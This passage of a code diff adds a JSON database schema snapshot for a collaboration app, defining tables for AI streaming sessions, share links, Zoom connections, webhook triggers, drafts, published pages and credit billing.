"compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.ai_pending_abort_intents": { + "name": "ai_pending_abort_intents", + "schema": "", + "columns": { + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": { + "ai_pending_abort_intents_conversation_id_user_id_pk": { + "name": "ai_pending_abort_intents_conversation_id_user_id_pk", + "columns": [ + "conversation_id", + "user_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.ai_stream_frames": { + "name": "ai_stream_frames", + "schema": "", + "columns": { + "message_id": { + "name": "message_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "from_seq": { + "name": "from_seq", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "frame_count": { + "name": "frame_count", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "frames": { + "name": "frames", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "byte_size": { + "name": "byte_size", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "ai_stream_frames_created_at_idx": { + "name": "ai_stream_frames_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "ai_stream_frames_conversation_id_conversations_id_fk": { + "name": "ai_stream_frames_conversation_id_conversations_id_fk", + "tableFrom": "ai_stream_frames", + "tableTo": "conversations", + "columnsFrom": [ + "conversation_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "ai_stream_frames_message_id_from_seq_pk": { + "name": "ai_stream_frames_message_id_from_seq_pk", + "columns": [ + "message_id", + "from_seq" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.ai_stream_sessions": { + "name": "ai_stream_sessions", + "schema": "", + "columns": { + "message_id": { + "name": "message_id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "channel_id": { + "name": "channel_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "display_name": { + "name": "display_name", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'Someone'" + }, + "browser_session_id": { + "name": "browser_session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'streaming'" + }, + "parts": { + "name": "parts", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "raw_parts_count": { + "name": "raw_parts_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "last_heartbeat_at": { + "name": "last_heartbeat_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "stream_id": { + "name": "stream_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "abort_requested_at": { + "name": "abort_requested_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "reap_claimed_at": { + "name": "reap_claimed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "ai_stream_sessions_channel_status_idx": { + "name": "ai_stream_sessions_channel_status_idx", + "columns": [ + { + "expression": "channel_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "ai_stream_sessions_conversation_status_idx": { + "name": "ai_stream_sessions_conversation_status_idx", + "columns": [ + { + "expression": "conversation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "ai_stream_sessions_user_status_idx": { + "name": "ai_stream_sessions_user_status_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "ai_stream_sessions_stream_id_idx": { + "name": "ai_stream_sessions_stream_id_idx", + "columns": [ + { + "expression": "stream_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "ai_stream_sessions_conversation_id_conversations_id_fk": { + "name": "ai_stream_sessions_conversation_id_conversations_id_fk", + "tableFrom": "ai_stream_sessions", + "tableTo": "conversations", + "columnsFrom": [ + "conversation_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_share_links": { + "name": "drive_share_links", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'MEMBER'" + }, + "custom_role_id": { + "name": "custom_role_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "use_count": { + "name": "use_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_share_links_drive_id_idx": { + "name": "drive_share_links_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_share_links_suspended_by_policy_idx": { + "name": "drive_share_links_suspended_by_policy_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"drive_share_links\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_share_links_expires_at_idx": { + "name": "drive_share_links_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_share_links_is_active_idx": { + "name": "drive_share_links_is_active_idx", + "columns": [ + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_share_links_custom_role_id_idx": { + "name": "drive_share_links_custom_role_id_idx", + "columns": [ + { + "expression": "custom_role_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_share_links_drive_id_drives_id_fk": { + "name": "drive_share_links_drive_id_drives_id_fk", + "tableFrom": "drive_share_links", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_share_links_custom_role_id_drive_roles_id_fk": { + "name": "drive_share_links_custom_role_id_drive_roles_id_fk", + "tableFrom": "drive_share_links", + "tableTo": "drive_roles", + "columnsFrom": [ + "custom_role_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drive_share_links_created_by_users_id_fk": { + "name": "drive_share_links_created_by_users_id_fk", + "tableFrom": "drive_share_links", + "tableTo": "users", + "columnsFrom": [ + "created_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_share_links_token_unique": { + "name": "drive_share_links_token_unique", + "nullsNotDistinct": false, + "columns": [ + "token" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.page_share_links": { + "name": "page_share_links", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "use_count": { + "name": "use_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "page_share_links_page_id_idx": { + "name": "page_share_links_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_share_links_suspended_by_policy_idx": { + "name": "page_share_links_suspended_by_policy_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"page_share_links\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_share_links_expires_at_idx": { + "name": "page_share_links_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_share_links_is_active_idx": { + "name": "page_share_links_is_active_idx", + "columns": [ + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "page_share_links_page_id_pages_id_fk": { + "name": "page_share_links_page_id_pages_id_fk", + "tableFrom": "page_share_links", + "tableTo": "pages", + "columnsFrom": [ + "page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_share_links_created_by_users_id_fk": { + "name": "page_share_links_created_by_users_id_fk", + "tableFrom": "page_share_links", + "tableTo": "users", + "columnsFrom": [ + "created_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "page_share_links_token_unique": { + "name": "page_share_links_token_unique", + "nullsNotDistinct": false, + "columns": [ + "token" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.zoom_connections": { + "name": "zoom_connections", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "accessToken": { + "name": "accessToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "refreshToken": { + "name": "refreshToken", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tokenExpiresAt": { + "name": "tokenExpiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "zoomUserId": { + "name": "zoomUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "zoomAccountId": { + "name": "zoomAccountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "zoomEmail": { + "name": "zoomEmail", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "ZoomConnectionStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "targetDriveId": { + "name": "targetDriveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "targetFolderId": { + "name": "targetFolderId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scopeVersion": { + "name": "scopeVersion", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "includeAiSummary": { + "name": "includeAiSummary", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "includeActionItems": { + "name": "includeActionItems", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "includeTranscript": { + "name": "includeTranscript", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "zoom_connections_user_id_idx": { + "name": "zoom_connections_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "zoom_connections_status_idx": { + "name": "zoom_connections_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "zoom_connections_account_id_idx": { + "name": "zoom_connections_account_id_idx", + "columns": [ + { + "expression": "zoomAccountId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "zoom_connections_target_drive_id_idx": { + "name": "zoom_connections_target_drive_id_idx", + "columns": [ + { + "expression": "targetDriveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "zoom_connections_userId_users_id_fk": { + "name": "zoom_connections_userId_users_id_fk", + "tableFrom": "zoom_connections", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "zoom_connections_targetDriveId_drives_id_fk": { + "name": "zoom_connections_targetDriveId_drives_id_fk", + "tableFrom": "zoom_connections", + "tableTo": "drives", + "columnsFrom": [ + "targetDriveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "zoom_connections_userId_unique": { + "name": "zoom_connections_userId_unique", + "nullsNotDistinct": false, + "columns": [ + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.webhook_triggers": { + "name": "webhook_triggers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflowId": { + "name": "workflowId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "connectionId": { + "name": "connectionId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pageWebhookId": { + "name": "pageWebhookId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "eventType": { + "name": "eventType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "isEnabled": { + "name": "isEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "lastFiredAt": { + "name": "lastFiredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastFireError": { + "name": "lastFireError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "webhook_triggers_workflow_id_idx": { + "name": "webhook_triggers_workflow_id_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_triggers_provider_event_idx": { + "name": "webhook_triggers_provider_event_idx", + "columns": [ + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "eventType", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isEnabled", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_triggers_connection_id_idx": { + "name": "webhook_triggers_connection_id_idx", + "columns": [ + { + "expression": "connectionId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_triggers_page_webhook_id_idx": { + "name": "webhook_triggers_page_webhook_id_idx", + "columns": [ + { + "expression": "pageWebhookId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_triggers_page_webhook_workflow_unique": { + "name": "webhook_triggers_page_webhook_workflow_unique", + "columns": [ + { + "expression": "pageWebhookId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"webhook_triggers\".\"pageWebhookId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "webhook_triggers_workflowId_workflows_id_fk": { + "name": "webhook_triggers_workflowId_workflows_id_fk", + "tableFrom": "webhook_triggers", + "tableTo": "workflows", + "columnsFrom": [ + "workflowId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "webhook_triggers_connectionId_zoom_connections_id_fk": { + "name": "webhook_triggers_connectionId_zoom_connections_id_fk", + "tableFrom": "webhook_triggers", + "tableTo": "zoom_connections", + "columnsFrom": [ + "connectionId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "webhook_triggers_pageWebhookId_page_webhooks_id_fk": { + "name": "webhook_triggers_pageWebhookId_page_webhooks_id_fk", + "tableFrom": "webhook_triggers", + "tableTo": "page_webhooks", + "columnsFrom": [ + "pageWebhookId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "webhook_triggers_connection_workflow_event_unique": { + "name": "webhook_triggers_connection_workflow_event_unique", + "nullsNotDistinct": false, + "columns": [ + "connectionId", + "workflowId", + "eventType" + ] + } + }, + "policies": {}, + "checkConstraints": { + "webhook_triggers_anchor_chk": { + "name": "webhook_triggers_anchor_chk", + "value": "(\"webhook_triggers\".\"connectionId\" IS NOT NULL AND \"webhook_triggers\".\"pageWebhookId\" IS NULL) OR (\"webhook_triggers\".\"connectionId\" IS NULL AND \"webhook_triggers\".\"pageWebhookId\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.message_drafts": { + "name": "message_drafts", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "contextKey": { + "name": "contextKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "message_drafts_user_context_key": { + "name": "message_drafts_user_context_key", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "contextKey", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "message_drafts_expires_at_idx": { + "name": "message_drafts_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "message_drafts_userId_users_id_fk": { + "name": "message_drafts_userId_users_id_fk", + "tableFrom": "message_drafts", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.published_pages": { + "name": "published_pages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "path": { + "name": "path", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "artifact_key": { + "name": "artifact_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "publish_title": { + "name": "publish_title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_description": { + "name": "publish_description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_og_image_url": { + "name": "publish_og_image_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "noindex": { + "name": "noindex", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "theme_bridge_enabled": { + "name": "theme_bridge_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "published_by": { + "name": "published_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "published_at": { + "name": "published_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "published_pages_drive_id_idx": { + "name": "published_pages_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_pages_suspended_by_policy_idx": { + "name": "published_pages_suspended_by_policy_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"published_pages\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_pages_page_id_idx": { + "name": "published_pages_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "published_pages_drive_id_drives_id_fk": { + "name": "published_pages_drive_id_drives_id_fk", + "tableFrom": "published_pages", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_pages_page_id_pages_id_fk": { + "name": "published_pages_page_id_pages_id_fk", + "tableFrom": "published_pages", + "tableTo": "pages", + "columnsFrom": [ + "page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_pages_published_by_users_id_fk": { + "name": "published_pages_published_by_users_id_fk", + "tableFrom": "published_pages", + "tableTo": "users", + "columnsFrom": [ + "published_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "published_pages_page_id_key": { + "name": "published_pages_page_id_key", + "nullsNotDistinct": false, + "columns": [ + "page_id" + ] + }, + "published_pages_drive_id_path_key": { + "name": "published_pages_drive_id_path_key", + "nullsNotDistinct": false, + "columns": [ + "drive_id", + "path" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.billing_epochs": { + "name": "billing_epochs", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "startedAt": { + "name": "startedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.credit_holds": { + "name": "credit_holds", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fallbackFromWalletId": { + "name": "fallbackFromWalletId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "estCents": { + "name": "estCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "aiUsageLogId": { + "name": "aiUsageLogId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spendKind": { + "name": "spendKind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'ai'" + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "credit_holds_user_idx": { + "name": "credit_holds_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_holds_wallet_idx": { + "name": "credit_holds_wallet_idx", + "columns": [ + { + "expression": "walletId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_holds_expires_idx": { + "name": "credit_holds_expires_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "credit_holds_userId_users_id_fk": { + "name": "credit_holds_userId_users_id_fk", + "tableFrom": "credit_holds", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credit_holds_walletId_wallets_id_fk": { + "name": "credit_holds_walletId_wallets_id_fk", + "tableFrom": "credit_holds", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credit_holds_fallbackFromWalletId_wallets_id_fk": { + "name": "credit_holds_fallbackFromWalletId_wallets_id_fk", + "tableFrom": "credit_holds", + "tableTo": "wallets", + "columnsFrom": [ + "fallbackFromWalletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "credit_holds_est_cents_nonneg": { + "name": "credit_holds_est_cents_nonneg", + "value": "\"credit_holds\".\"estCents\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.credit_ledger": { + "name": "credit_ledger", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "entryType": { + "name": "entryType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "bucket": { + "name": "bucket", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "amountCents": { + "name": "amountCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "appliedCents": { + "name": "appliedCents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "chargeMillicents": { + "name": "chargeMillicents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "aiUsageLogId": { + "name": "aiUsageLogId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "realCostCents": { + "name": "realCostCents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "markupBps": { + "name": "markupBps", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 15000 + }, + "stripeRef": { + "name": "stripeRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "paidCents": { + "name": "paidCents", + "type": "integer", + "primaryKey": false, + "notNull": false 